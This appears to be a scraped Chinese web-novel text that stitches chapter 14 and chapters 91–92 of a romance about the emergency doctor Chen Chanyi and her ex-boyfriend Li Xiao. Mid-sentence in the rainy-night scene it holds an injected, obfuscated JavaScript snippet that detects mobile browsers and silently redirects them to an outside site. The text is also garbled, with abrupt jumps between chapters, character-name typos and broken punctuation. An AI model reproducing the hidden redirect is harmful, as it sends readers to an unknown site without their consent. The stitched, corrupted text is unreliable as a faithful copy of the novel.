她好想找个现场的人问问,可是谁会知道李潇是谁。 她就这样在哭声震天的急诊室,丢了魂一样站了很久。 没人搭理这个红着眼睛的女人。 陈蝉衣转过弯,突然看到另一边走廊的临时病床上,躺着一个渡口的工作人员。她认得他身上那件荧光马甲。 她正要走过去,胳膊被一把拉住。 陈蝉衣转身,视线直直对上男人漆黑的瞳。 她快忘了呼吸,嘴唇慌乱颤抖,眼泪在那一瞬间陡然掉了下来。 男人原本皱着眉,他早看见她了,这么多医生护士,她是最显眼一个,可她像无头苍蝇一样乱转,不知道在转什么。 眼看着她慌不择路,差点要撞墙上去,他赶忙把她扯住。 李潇眉头紧蹙,原本想让她学学看路,没想到她看到他一瞬间,眼泪啪嗒就掉下来,砸在他手背上。 他到嘴边的话也咽回去,只沙哑地从喉咙里挤出一句:“你傻了?” 下一秒。 女生张开手臂猛地抱住他腰,委屈地哭了出来。 只剩下他一个人身体僵硬。 过了片刻,他揽住她肩头,往里走到深处角落。 李潇视线落在她发顶。 她比他矮很多,脑袋才到他肩膀,救人的时候头发就乱了,此刻因为埋着脸抽泣,脑袋顶上几根头发一晃一晃的。 男人神情柔和下来,伸出的手指僵硬半晌,最后还是落到她脑袋上。 他托着她后脑勺揉了揉,轻声说:“好了,别哭了。” 听听!这什么语气! 她哭更惨了,他完全完全不知道她刚刚多着急。 倘若急诊科前坐着的人堆里没有他,那么他只会出现在更糟糕的地方。 她哭得一抽一抽的,李潇啧了一声:“陈家月。” “陈家月”现在不是很想理他。 “不哭好不好。” “……”没用。 “你把脑袋抬起来好不好。” “……”还是没用。 眼看着就怎么说都没用了,男人挑眉,懒懒地慢条斯理道:“你再哭,一会儿他们都过来笑话你了。” 有用了。 陈蝉衣总算把脑袋从他怀里抬起来,满脸泪痕,鼻尖泛红嘟囔地说:“笑话就笑话,关你什么事。” 笑话的是她又不是他,他还管这个呢。 李潇心里都气笑了,行,不关他事就不关。 他拎着人后衣领,稍稍扯远了点,低眸看,她眼眶红通通像个兔子,手臂还搭在他腰间。 李潇示意她自己也去看:“你干什么呢?” 陈蝉衣觉得他无赖死了,她干什么他不知道吗。 她鼻翼耸动,委屈巴巴讲:“我,我检查伤口。” 行,就这么检查,这八年医是白读了。 李潇挑眉:“那你也不能就这么摧残我伤口吧,这么恨我啊?” 陈蝉衣变了脸色,立马将胳膊挪开。 他们两个在转角最暗的地方,最里面的灯坏了,视线昏暗,看不清具体是什么伤,只是她抬起手,抱他的袖子处已经沾上血迹。 陈蝉衣立刻说:“这,这怎么伤的?” 男人笑了:“你不是医生么。” 可是陈蝉衣抿抿唇:“那我得看了才知道是什么伤口啊。” 李潇也不犟:“你看。” 昏暗的灯光从他左前方打过来,将男人的身影拉得好长。 夜色静谧,他就那么站她身前,长腿随意支着,浑身懒懒地靠在医院墙壁上。 他的外套已经被解下来,搭在臂弯,身上只剩一件单薄的白色长袖。 下摆被血染得斑驳。 “自己掀。”李潇语气倏而不明。 陈蝉衣手指颤抖搭上去,碰到他衣服,很薄的一层,指尖几乎能够触碰到他薄薄一件衣服下,滚烫的体温。 她手指犹豫着,始终不敢掀开来。 男人声音在她头顶,低沉沙哑,带着点轻笑:“又不是没看过。” 她脸红了个透。 从他的视角,只能看到这姑娘一张胆怯清秀的脸,眼尾红红的,睫毛上还挂着泪。 她搭在他腰间的手指很细,手也很小,她一双手他一个就能握住了。 李潇哑道:“陈医生,我得痛死了。” 那他痛死算了! 陈蝉衣不想跟他耗着了,猛地把衣服一掀,男人闷哼一声,她听见什么撕裂的声音。 她这才发现,他腰间左侧已经被灼伤,烧焦的布料和皮肉粘在了一起,触目惊心。 可是她把衣服掀开,那块地方被迫撕扯下来。 李潇额头瞬间涌出细密的汗。 他脸色苍白,透明如纸,张了张唇,最后只是扯出个笑:“你轻点啊。” 她眼眶又要红了,她不该刚刚跟他闹的。 陈蝉衣扯着他袖子要往光亮的地方走,哽咽着小声道:“我给你包扎。” 他笑:“行。” 她把他拉去陪护椅上,小心翼翼拿剪子把剩余的布料剪掉,一点一点剥脱,再去药房拿了药给他抹。 这些急救知识,她分明在大学复习过无数次。 在急诊科呆的这几个月,她也遇到过大大小小数不胜数的情况,有些甚至比他严重一千倍一百倍。 可是她从没有过哪次,像今天一样手腕颤抖。 陈蝉衣给他抹药:“李潇。” “嗯。” “是怎么伤到的?” 男人坐在陪护椅上,一手抓着衣服下摆,垂眸平静地笑:“有个小孩被震晕了,火烧过来,我抱他走的时候被燎了一下。” 陈蝉衣眼眸湿润润的。 “孩子有事吗?” 陈蝉衣摇摇头:“一定没事的,秦老师在治了,秦老师医术很厉害的。” 秦老师。 李潇低眸,看着她放在外衣胸前口袋的手帕。 他带孩子来看病也是找的秦继南。 可后来,他被烧伤折磨得痛不欲生时,看见秦继南帮她擦眼泪。 还把手帕留给了她。 男人身上很脏,衣服上全都是焦灰,脸也是脏的,唯有眼睛明亮。 “陈家月。”他忽然开口。 陈蝉衣抬眸,清亮潮湿的眼睛像雾,水蒙蒙地对上他:“嗯?” 李潇喉结不受控制地滚动。 他突然很想问问,那个秦医生,有她说得那么厉害么。 “蝉衣!”一声呼喊打破静默。 他冷了脸。 陈蝉衣起身,看见秦继南在找自己,立刻应声:“秦老师。” 秦继南看见她身边好像有个病人,是个男人,低着头没看清脸,他也没太在意。 秦继南扯过陈蝉衣袖子:“快 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她原先还以为陈蝉衣多厉害,不就是个关系户么。也就脸长得好看点,让医院最不动春心的秦医生都去找她说话。 现在呢。 还不是踢到铁板了。 刘静是最初忙得混乱的时候撞上李潇的。 当时走廊人很多,有人扯着她不松手,男人路过,把那人的手格了回去:“一个个来。” 当时她快被吓死了,直到被男人搭救,刘静心怦怦跳,他真的好帅啊。她摸摸自己的肩膀,被他无意间碰过的位置似乎还在发烫。 刘静是有些漂亮的,尽管并不出挑,可放在人堆里,也绝对够看了。 她觉得那个男人应该是对她有些留意的,否则在场那么多人,也有很多女医生女护士被人拉扯,他为什么偏偏只帮她呢。 她柔柔地问他叫什么,需不需要帮助。 男人只是一句漠然的:“不用。” 急诊科前的走廊,所有人都叫苦不迭,哭喊声震天响。 只有他一个人静静地坐在那里。 臂弯搭了件冲锋衣。 哪怕里面白色单衣已经被血染红,他也神情淡淡,像是毫不在意。 她也不过才毕业的年纪,他这样冷硬沉稳的男人,对她而言,本来就极具吸引力。 刘静低眸抿出个笑,有些羞涩地轻声和他道:“嗯,那我先去处理其他病人,你在这里等我一会儿。” 可是这一切,都在她回来看到那个男人和陈蝉衣在角落说话时,全部碎成泡影。 刘静站在走廊拐角,看尽头处的两个人拉扯。 陈蝉衣在哭,那男人就任她抱着。 女生脸埋在他胸膛看不见,刘静却在惨白的灯光下看得一清二楚。 那男人唇边有浅浅的弧度。 他在笑,尽管很无奈,可就是一瞬间让她知道,他是在纵容的。 刘静死死捏碎了塑料袋里的药剂。 刘桥喜欢陈蝉衣就算了,秦老师也和她走得近,现在呢,病人也喜欢她? 她觉得陈蝉衣凭什么。 心中罪恶的种子在那瞬间成倍增长。 刘静调整表情,强自镇定走过去,轻轻喊:“李先生。” 陪护椅上捆着绷带的男人抬眸。 他瞳漆黑,像是一片悄然沉静的海。 刘静耳根不自觉更加烫:“陈医生有点忙,让我把药品单交给你。” 她递出薄薄一张纸。 男人视线又冷又野,落在上面,并没有伸手去接。 “她人呢。”他开口。 刘静见他没接,不免有些失望,咬咬唇,心里更恨陈蝉衣。 她眼珠子动了动,沉吟道:“嗯……她,她跟我们秦医生出去了,就是之前你看到那个,我也不知道他们干嘛去了……” 男人起身,转身便走。 14.潇潇(含入v公告) 陈蝉衣出来的时候,医院外暴雨如注。 她撑了把伞,然而伞骨架脆弱,经受不住大风折磨。 没一会儿,整个伞居然就被风吹得折断了。 她只好灰心地把伞丢进垃圾桶。 眼前亮过汽车灯,秦继南摇下车窗:“我送你吧?” 陈蝉衣道谢:“好,麻烦秦老师了。” 她用手遮在眼前挡雨,小跑着上了秦继南的车,他车里开了会儿冷气,这会儿停了,温度刚好适宜。 秦继南将后视镜调整了一下:“这个天雨真多,天又冷。” 陈蝉衣搓搓手心,紧了紧外套:“是呀,都四月份了,还是冷。” 秦继南笑了:“倒春寒。” 可哪有倒春寒到了四月还在冷的? 陈蝉衣和他闲聊了几句,秦继南也说了几个工作上的事。 街道光影打在他的脸上。 “对了,你之前处理的那个病人,之前认识?” “哪个?” “就是在急诊室旁边的走廊,陪护椅上的。”秦继南说,“我看到你跟他说话。” 陈蝉衣神情愣了愣,过一会才说:“嗯,以前……高中同学。” 秦继南点头,眼眸看不出情绪:“这样。” “嗯。” 秦继南笑:“我好像听见你说和他一起走,我听错了吗?” 陈蝉衣垂眸:“没有。” “那怎么上了我的车?” 陈蝉衣微微偏过头,看着窗外大雨模糊:“当时没说好,他可能先走了。” 秦继南:“哦。” 他像是没在意,看着前方,语调淡淡地道:“可是刚才从医院拐出来,我看见他在站台上。” 陈蝉衣陡然浑身僵硬。 秦继南望她一眼,笑了:“怎么了?” 她手指攥着安全带,越来越紧,指尖几乎都要深深陷进去。 沉默片刻。 陈蝉衣没办法:“秦老师,能麻烦你掉个头吗?” * 陈蝉衣走回医院时,几乎不敢相信自己的眼睛。 附属医院的公交站台前,男人坐在那里,微微垂着头,浑身湿透。 凌晨的夜晚,暴雨倾盆,一个小小的公交站台,根本抵御不了任何风雨。 所以他浑身都湿了,从发梢开始,身体的每一寸都在滴水。 陈蝉衣把包举在头顶跑过去:“李潇。” 李潇偏过头,视线从地面,慢慢落到她脸上,他瞳孔漆黑,一言不发。 陈蝉衣微微喘着气:“你怎么还在这里啊?” 男人的视线跟着她动,最后像是有些不解,又有些平静,声音听不出语气:“不是你说一起走的吗。” 陈蝉衣语塞。 她那时候是觉得他不想理她,虽然她也不知道,为什么之前还好好的,他莫名其妙就开始生气了。 可是他用那种冷冰冰的视线,不带感情扫过她时。 她是真的有点害怕的。 李潇其实平时不可怕,就算有,也是正常的时刻多一些。 可是她最怕看到他冷着脸不说话的样子,从前是,现在更是。 所以她当时看到这种眼神。 她以为他拒绝了,她以为他不想和她走的。 陈蝉衣低头,懊恼地抿了抿唇:“对不起,我应该问清楚的。” 男人沉默下来,片刻后说:“没事。” 他站起身,高大的身影,霎时又如同阴翳般笼罩在她身侧。 “走吧。” 她眨了眨眼:“嗯?” 李潇轻声道:“回家。”他停顿,又重复一遍,“不是要回家吗。” 说完,他不再看她,转身往前走,陈蝉衣小跑两步跟在他后面。 “我们打辆车再走吧,雨太大了。” 男人停住脚步,像是才注意到般,抬眸看了看天:“嗯。” 他掏出手机打车,司机很快就到,两个人上了车。 就在他们上车的下一刻,整座城市上空的乌云倾倒,刹那间,瓢泼大雨灌注,地面瞬间砸出一片雨雾。 一整个路上,李潇都没有开口说话。 陈蝉衣偶尔会讲两句,他除了最简单基础的回应,此外,再没有别的话题。 男人偏过头,始终盯着窗外夜色。 那晚没有月亮,街道的路灯也因为突如其来的暴雨,笼罩在一片雨雾之中,朦胧昏暗。 李潇微微靠着车窗,不知道在想些什么。 半夜三点多,他们终于到家,彼时暴雨狂风呼啸,天地晦暗,闪电一道道划过,雨下得如同天塌。 陈蝉衣被雨淋得十分狼狈。 她和李潇一前一后走,李潇始终在前,他高,步子迈得又大,她几乎后面要一路小跑才能跟上。 “李潇!” 他像是完全没听见。 就这么疲累得追着他上了楼,男人掏出钥匙开门。 陈蝉衣喘着气,发尾往下滴水,小声喊他:“李潇。” 他还是不应,门被打开,李潇走进去。 “好好休息。”他这么说。 然后关上了门。 雨声喧嚣,陈蝉衣在门外,有点茫然无措地站了片刻。 楼道黑漆漆的,像是蛰伏着阴影,她陡然心里涌上些后知后觉的难受。 她不知道李潇为什么就心情不好,难道是因为她不小心,把他伤口弄得更严重了吗。 她不明白。 可是就算是这样,他也应该当场就发火才对,哪有隔了很久才不高兴的。 陈蝉衣默默地想着,心里像是被石头压着,堵得慌。 最后实在想不出来了。 她有些难受地开门回了家。 家里也是漆黑,和屋外别无二致,陈蝉衣抿抿唇,把灯打开。她晚上有点累,想洗个澡就扑到床上去休息。 可是拿好睡衣进浴室,陈蝉衣拧开水龙头。 ……没有水。 陈蝉衣一愣:“嗯?” 她不信,掰回去再试。 还是没有水。 “……” 就这么试了几次,她家水龙头不知道出了什么问题,就是出不了水。 陈蝉衣把衣服放在浴室的架子上,站在原地发懵。她没处理过这种状况,也不知道是什么原因。 可能是管道堵塞了,也可能是水表故障,或者别的。 如果是消防系统维修,整个社区停水,应该都会发公告,可是今天回家,她没看见小区单元门上贴了东西。 陈蝉衣咬了咬唇。 发梢衣摆在地上滴了圈水珠。 要是平常,忍一晚上,等明天找个维修师傅来问问就好了。 可是她今天是值了夜班回来的,急诊科晚上手忙脚乱,她衣服裤子上,一定沾到过血迹了。 很脏的。 况且她淋了雨,如果不洗个热水澡,她担心自己感冒。 可是现在,出乎意料居然停水了。 她要怎么办呢。 陈蝉衣想着,实在不行去酒店开间房洗也一样。 但她扭头看了眼窗外的大暴雨。 这种老式小区,一下雨排水系统就不行,这个雨也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774196|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道下多久,看样子楼下会被淹起来,难道她洗干净了,再趟水回来吗? 陈蝉衣心情不禁烦躁起来。 手机提示音响了一声,陈蝉衣打开看,是许珈毓给她发消息。 许珈毓是她大学时期最好的朋友,之前在磨山住,前段时间搬回临海了。 她说她结婚了。 陈蝉衣盯着屏幕愣了愣,倒也不惊讶,挺为她高兴的,就敲字回了两句。 结果凌晨四点,许珈毓在那不睡觉唠闲嗑。 陈蝉衣本来就烦,现在更烦了,还很委屈。她倒是舒服了,她好姐妹还在这破地方受罪呢。 陈蝉衣实在没忍住,哭丧着脸给她发语音:“可是我这里停水啊。” 许珈毓没发语音,估计老公在睡觉。 她说:【整栋楼停水啊?】 陈蝉衣抿着唇敲字回:【不是,就我一家。】 许珈毓就说:【你去敲邻居家的门啊,借着洗一下不就得了,邻居是女孩子吧?】 “……”她真是哪壶不开提哪壶,她才和她邻居吵完架。 虽然根本没吵起来,很显然的她邻居不想理她。 陈蝉衣:【不是,男的。】 紧接着,她就看到许珈毓的消息:【那也挺好的诶,帅吗,好看吗,说不定你俩天生一对,天赐奇缘,你不要错过啊】 陈蝉衣气死了! 她噼里啪啦敲字:【帅,帅死了,诶你知道我那个分手七年的初恋前男友吗?】 许珈毓:【嗯喏。】 陈蝉衣:【哇他们居然长得一模一样诶!你说巧不巧?】 许珈毓:【。】 她很久没再发消息过来,估计是真情实感沉默了。 过了几分钟:【你要不……试试看呢?】 陈蝉衣:【?】 许珈毓:【前夫哥应该,挺好说话的吧?】 陈蝉衣:【。】 许珈毓:【你看我前夫哥,看着挺难搞的,但是我发现他还好诶。你去试试呢,洗个澡也没什么吧】 她前夫哥好搞个屁啊!她前夫哥那么恐怖!都什么滤镜! 陈蝉衣关了手机。 夜色空蒙,浴室开了条缝透气,窗外带着湿气的风钻了进来。 她静静在窗边站了一会儿,想平复心情,却发现根本无用。 她眼睛一闭就想起夜晚在公交站台,那个浑身湿透,一言不发垂着眼的身影。 他是在等她吧,所以不回去,可他却什么都不肯说。 她不知道李潇为什么生气,为什么莫名其妙不理人,为什么看着她欲言又止的模样。 但是她不想猜。 她很烦。 她想李潇自己说清楚。 陈蝉衣抱着浴巾,手指紧了紧,最后猛地转身走出家门。 楼道依然黑漆漆的。 她其实很怕黑,不敢在黑暗的地方待很久,可是她总觉得没办法,她总想讲清楚。 陈蝉衣抬起手,犹豫半晌。 她闭了闭眼,对着他家的门敲了下去。 几秒钟后,门就打开,男人冷硬的面容露了出来,他已经洗过了澡,重新换好了那身家居服,漆黑的瞳无声看她。 “怎么?”他撑着门框,居高临下。 陈蝉衣咬了咬唇,抱着浴巾,面对他终究还是有些胆怯:“我家停水。” “所以?” 她磕巴着,尽量小心翼翼提着诉求:“能不能借你家的……洗,洗一下。” 沉默几秒。 他挑眉,一双冰冷烦躁的眼眸挑起兴味:“来前夫哥家里洗?” 91、对潇潇 那年八月,李潇风头正劲,没有人敢再提起他从前旧事,变天就是这么一回事,今天是晴天,或许明天就转了阴,下起雨。陈家小姐从前,总被说白眼狼:“眼光不好,脑子还不行。真不知道以后嫁人要吃多少苦,既然选了,也是她活该,我们就坐等看她笑话。如今他们成了笑话。郑容微次次进楼里, 同事都会若有似无,投去打量的目光。他看见了,也当做看不见。赵景霖的处分犹在眼前,郑家憋着一口气,发也不敢发:“你就当忍一时。"陈家更是屁都不敢放一个。 哪个圈子不看上面的风向,谁正当红,都不是傻子。这件事传到南京时,舒羡之正坐在院子里,看着家里后辈,老爷子敲了敲拐杖。“前车之鉴,这个圈子里,没有谁正当红,也没谁能真长盛不衰。那头你是被瞧不上了,说不准在这条路你就正当年。莫敗少年穷,留别人一条退路,也是给自己将来多一条活路.….都听清楚了?" 小辈们连连应是。 正值雨季,南京也一直在下雨。家里最近搞大扫除,舒家人来来回回奔忙,搬花洒扫,打理庭院舒羡之看舒家和谐向荣。满意点点头:“这才像个样子。 陈蝉衣坐在他旁边,她没打扫,怀孕了不让她动。她只能百无聊赖戳水果吃。 说来也是倒霉。 陈蝉衣回南京时,南京天气还行。不知是巧还是不巧,她到家,舒羡之正好不在南京。老爷子去苏州找老友重聚去了,南京家里,只有舒世杰他们在舒世杰可不精于此道,陈蝉衣回家,都不用遮遮掩掩,他压根看不出来。陈蝉衣还以为逃过一劫呢。结果还没潇洒几天,南京开始下雨,舒羡之提前回来了。到家时,正好看见她贪凉吃西瓜。舒羡之只看一眼,就气得跳脚:“你没好了!" # 她在这个夏天彻底失去了吃西瓜自由。弄得陈蝉衣眼泪汪汪,舒家人窝在一起啃瓜,她扁着小嘴,怀念李:“他肯定会让我吃西瓜的。舒羡之看她一眼,冷哼:“你想都不要想,他要是敢给你吃,别想娶你了。" # 南京夏天气温特别高,下起雨来,天还是热,闷得慌。 陈蝉衣那段时间,和李潇通了几次电话:“我感觉最近食欲变好了,吃得比之前多很多。 他在那头轻笑:“那很好,宝宝回家之后,也还是要好好吃饭。 “嗯。 “药也要记得吃。" “知道啦,京城是不是还下雨?" “嗯。 “最近事情还忙吗,你有好好休息吗?不许不睡觉。 他失笑:“有睡觉的。 “哦。”她脸红了红,无知无觉又问,“那最近没遇到什么烦心事吧? 这回他顿了顿。 李潇轻声说:“没有。 其实也算是有。 就是那次和郑容微的见面。 其实不算什么大事,如果放在以前,他大概会难受很久。现在他们感情已经那么稳定,李不想挂在嘴边,让她着急,也不放在心上了。 失去西瓜自由,陈蝉衣去省人医再做孕检,见到了秦继南。 他来这开会。 秦继南这几年,倒是没怎么变,就是更意气风发了。本就是风华正茂的年纪,岁月沉淀,多了几分沉稳,骨子里都透出来男人的精壮成熟秦继南看见她就眯了眯眼:“哦。陈蝉衣礼貌打招呼:“秦老师。”“什么时候结的婚,红包也没喊我给呢?“没,还没结呢。不过准备要领证了。”秦继南继续“哦”,余光扫过她孕检单:“那你这个习惯,不是很好啊。 “最好改改。" 他冷不丁冒出一句,又点到即止。陈蝉衣脸都红了,赶紧把孕检单收起来塞包里:“没有下次了!"她觉得秦继南一点没变,就是这个性子,怎么还是跟以前一样,那么让人捉摸不透?幸好没当他手底下学生,不然也太遭罪了。 秦继南乐不可支:“挺好,挺活泼。之前隐隐约约听到你消息,看你变成那样,我都不忍心。" 他那三年是联系过陈蝉衣的。 不过说是联系,其实是单方面进行输出。 秦继南稍微有点儿老成,具体表现在,之前陈蝉衣和李潇闹别扭,他能特别理智,一针见血点破,给她不少启发。但是实际操作,让他自己哄姑娘,他就没辙。 陈蝉衣那段时间浑浑噩噩度日。 秦继南偶尔会给她发消息,类似于:【你看这个树啊,虽然被台风吹倒了,但是居然还活着。(树倒了.jpg)】【我前天路过花鸟市场,这个小鸟病歪歪的,但是好有活力,一直在叫。(病小鸟叫唤jpg)】【还有你看这根草。】 陈蝉衣知道,他是想劝她振作,想开点,每天别那么颓唐。秦继南是她遇到过最负责,最有意思的老师。陈蝉衣给他回:【秦老师,我现在懂了。】 秦继南:【嗯,你懂就好,生命是很精彩的,也是很珍贵的。】陈蝉衣:【不是,我是懂为啥以前医院,那么多小姑娘喜欢你了。】秦继南:【.】 陈蝉衣又很疑惑:【但是你怎么到现在还没老婆呢?】她个病患还问上了?真是东郭先生与狼,吕洞宾与狗,农夫与蛇,郝建与老太太,他秦继南和她。秦继南:【嘿。】 陈蝉衣现在想想都想笑晚上和李潇照例睡前通电话,她和他讲了这个事:“我还记得,你之前还吃过秦老师醋呢。他声音带着点疲倦,过了夜温柔磁哑:“嗯。有点丢脸。夜雨朦胧,陈蝉衣调暗台灯,卷着被了翻了个身:“是不是觉得我和他走太近了?"她想了想,老实交代:“你走之后,我有段时间,精神不是很好,秦老师有发消息安慰过我。不过我们没聊别的,平时也很少聊。要是这样,你能接受吗?会不会觉得心里不舒服?他于机列表干干净净,李潇是偏孤僻的性格,除了同事,基本不会主动和别人说话。他沉默内敛,确实有点儿“无趣”,下了班,只知道回家和她待在一块。她朋友比他就多好些。平时能聊天的也有很多。 陈蝉衣有点担心,他会不会觉得不平衡呀? 李潇温声道:“不会,没有心里不舒服。之前吃醋,是觉得你可能会喜欢他。那时候不确定心意,他溶倒落魄,她身边出现很好很好的男人,他心里难受 陈蝉衣软声说: “那你现在不难受啦?" 他笑:“嗯。 不会难受了,也不会再质疑她和别人的关系,尽管可能还是会有点吃味,然而他比谁都明白,她不会离开他。过了两天,李潇让人送去几抬箱子给舒家。陈蝉衣打开看,傻了眼。舒家人也都围过来,盯着那一箱里价值连城的珠宝物品,眼睛瞪得晶亮,啧啧称羡他箱子里装了很多东西,书画古玩,奇珍异宝,数不胜数。仿佛不是娶新娘,是把整副身家压在里面。那些物品也不知道他是从什么时候,开始置办的,那样多,那样繁杂。他在研所诸事缠身,却还每晚惦念,给自己未过门的小妻子置办这些聘礼。她一下子明白过来,没顾上他还在上班时间,给他拨去电话。 手机响了几声没人接。陈蝉衣继续拨号,好久才有人接:“嗯,宝宝?”那头背景音很嘈杂,有人喊他名字,他模糊应了两句什么。嘱咐完才重新低声问她:“怎么了?他像是愣了愣,笑了:“哦,好看吗?" 陈蝉衣觉得好吓人啊,眼睛红红说:“今天有人来家里,送东西过来了。好多大箱子,里面装的东西都好贵。 她说好看,说家里人都觉得好看。她还说东西好多,锡子珠宝都好多,她都戴不完,然后就分给舅妈表姐表妹了,她说她们都可高兴了,一下午都在挑.还说舅舅喜欢一张古画,好稀奇啊,是之前苏富比拍卖行拍出去的,舅很喜欢,可惜被别人买走了。舅舅问她能不能送给他呢。李潇温声问:“嗯,那你是怎么说的?"她小声抽着鼻子,有点小心翼翼说:“我就说给他了,因为我,我也看不懂.他笑了,真可爱:“嗯。那通电话一直通到夜晚,晚上九点多,她还是不想挂。其实没什么话,但或许怀孕让情绪变得敏感,她想听听他呼吸,想他就在身边,在耳畔。她有点后悔了,不想让他折完小蜻蜓再回来了。小公馆大家谈笑散场,回自己房间。陈蝉衣望着孤零零的床铺,小声和他委屈:“我好像有点想你了。”他笑声越来越磁哑:“想我了?可是小蜻蜒还没编完喔。" 陈蝉衣扁扁嘴,不高兴,但是也嘴硬地哼哼两声,没再说别的了。她换好睡衣,爬上这张冷清的床,觉得浑身不舒服极了。电话还是没挂断。她不知道哪来的气,赌气说:“你不挂哦?"李潇说:“陪你睡觉。” 陈蝉衣硬邦邦说:“不要了,电话打太久了,怀孕不能这样。 然后就把电话挂掉了。 她辗转难眠,睡到后半夜迷迷糊糊,夜雨敲打窗棂,好像听见噼啪的轻响。她有点口渴,半撑起身体拿水喝,又够不到。 不想爬起来,就习惯性说了句:“阿潇,我想喝水。 说完才意识到,真是睡傻了,李潇在京城呢,她现在在南京。 陈蝉衣有点窘,幸好房间就她一个人,也没别人听见。她更努力伸长胳膊,指尖就要碰到杯壁,一双大掌暗影在昏黯的夜色里晃了晃,接着水杯被拿起,杯沿喂到唇边温凉的触感,男人高大模糊的轮廓朦胧成一团,陈蝉衣拾眼怔然望着,喉咙却像是被住了,发不出一句声音。他唇边携着丝疲倦笑意,手背蹭了蹭她脸颊,柔情满怀:“认不得我了?刚不还让我帮你拿水。" 小东西,好没良心。陈蝉衣愣愣地,眼眶湿润,红红的肿得像兔子。她细声细气抽,她哪里知道他就过来了,还不声不响坐在这陪她她想问他那边的事情都处理好了吗?能来吗,会不会被问责啊。她好担心。 可是他厚实干燥的掌心,抚摸过她眉眼,湿漉漉脸颊,小巧的鼻梁。她又忍不住仰起脸,追着他乱蹭,小手扣住他粗糙手腕,不想他走。受不了娇哼半晌,才泪蒙蒙摁住手,摁在胸口,小声哽咽:“我,我那个蜻蜓,你都没编好。没编好还敢来,她是就这个意思?李潇都气乐了:“那要不我现在回去?" 话还没说完,脖颈骤然环上细嫩的胳膊,他被拉低,她温热的唇稳准狠堵住他。她哭得都忘了怎么亲了,只能笨拙地,试探地,小心翼翼在他唇上辗转 他唇常年干燥,温暖,万籁俱寂的深夜,她亲着亲着,两个人呼吸急促,她软绵绵变成一团。 他顾忌她怀孕,也没敢真压她身上亲,总是身体撑着的,有缝隙,她就难受不满地哭,也不说话,就哼哼锤他。 他手指插进她弄乱的长发,紧贴头皮,薄薄一层温热。李抵着她唇:“想我吗?" 陈蝉衣瞬间崩溃了,哭着点头:“想,好想你。”真的好想,最开始她都不觉得,她回了南京,这里有舒家,有外公舅舅,都是她熟悉的。 可是。 “这里没有你,我想你,好后悔,以后再也不说要分开了。 李漾神情那瞬间变得无比温柔。是啊,这座城市哪里都好,有他们的欢笑眼泪,有她等他的那几年,梧桐树见过她眼泪,见过他们相聚又分别。 他叹息把她搂进怀里,气息温热喷洒在她颈边:“那明天去领证。" 陈蝉衣傻愣愣地挂着泪:“明天吗?" 他淡淡嗯。 顺着她长发,轻拍她背,他知道比原定的领证日期还早,可他等不了。他真的不想等了,她不在家,他在京城住着也没什么意思. 家里空荡荡,半夜醒来翻身,抱不住任何,连气息都快没了。 如果是他明确知道,这些都不是梦,她的孕检单还在家里好好存着,她的牙刷,水杯,她买来的小盆栽,她爱惜的花花草草 这些都在。 他都快要恍惚,以为自己又回到了极夜。 怀里小小一团身子,温软单薄,他沉默半晌都舍不得。李翻身隔着被子抱紧她,低声说:“想领证吗? 顿了顿,他暗哑补充:“跟我。 92、对潇浦 那是八月中旬,暴雨侵袭,他们去领了证。民政局那天没什么人,他紧紧攥着她纤细的手腕,填表格,写资料,拍红底两个人的结婚照她脸颊红红,特别不好意思。做婚检的时候,是要去民政局旁边的妇幼保健院。他自始至终,掌心都是热的,蒙着一层薄汗,今天对他来说不一样,他比谁都紧张。陈蝉衣轻轻拽了拽他指尖,小声喊:“阿潇。”“咽 “完啦。" 他不明所以,却还是牢牢牵住她手:“怎么了?"她脸蛋更红了,姑娘眼睛明亮,羞怯望着他:“我,我怀孕了,他们还要查呀?"他愣了愣,旋即笑了:“要查的吧,你去问问。陈蝉衣好不乐意啊,明明犯错的又不是只有她一个,而且,她还是半推半就,是为了安抚他情绪,才答应不戴、不戴那个的喔干嘛天脸的时候就她一个丢脸。 李潇看出来了,望着贴了女生标志的门,沉沉地笑: “那我也不能进去替你说啊。" 好吧, 也有道理。 她变成个小河豚,气鼓鼓踢他一脚,转身进去了。 她出来的时候,他已经撑着伞,在门口等候了。那天他穿白衬衫,上身简单干净,就这么一件,再没有任何装饰。 夏季的雨并不凉,敲在伞檐,风吹皱他的衣摆。 他垂眸问她:“怎么样?” 陈蝉衣支支吾吾,不肯说。再问就索性抱着他腰,埋脑袋在他怀里,当鹌鹑。 他见状轻笑,没再问了。 雨势没有减收,声声喧露,工作人员却把两个红章敲下,咧着嘴祝贺:“百年好合,要好好过日子呀。 那枚章印那么小,那么轻,敲下了,却承载了他一生的重量。他爱得轰轰烈烈,爱得年少充满痛与泪,心酸苦楚,而立之年依然惊涛骇浪。 他爱了十几年岁月。 如今钢印敲下,也不过就是一秒钟的事. 李潇心里酸涩,百般滋味陈杂。 最高兴的是她,她看上去比他纯粹快乐好多。出了民政局,走在他伞下,和他喜滋滋地说:“这样我就有三个红本本了。太好了,好吉利。 他听得满心欢喜温柔,无奈又叹息把她揽过,捏了捏她脸颊:“你真是。 她说:“真是什么喔?” 还能是什么,他身前是她温软的身体,紧贴着的,胸口勃发的跳动,皮肤的滚烫,生命的喧,和灵魂鼓噪 …是他活着的证据,存在的证明。 那年潇漾雨季,他膝盖没有好,依然疼痛,可是已经不会再像从前那样,细针一针针,一阵阵,刺得他辗转反侧,睡不了一个好觉, 领证是上午的事情,后来他收好结婚证,带她回了江滨公园。 去了渡口。 对面扬州只隔一水相间,江面雨雾淼淼茫茫,他忽然轻声说:“其实那时候,我告诉自己,不能再对你动情的。 他眼睛望着江面,漆黑一片。 陈蝉衣长发被风吹得乱糟糟,他侧目看一眼,抬手顺去 陈蝉衣有些讶然:“你还这样想过吗?" 他淡淡嗯,眸了安静:“想过的,甚至还和朱子星说过。分手之后,其实我过得不太好,不仅是颓,而是整个人都没什么希望。 他膝盖重伤,刚刚能从医院出来,就被转去监狱。那地方条件简陋,他错过最好的治疗时间,蹉跎几年,膝盖早就算是残废。 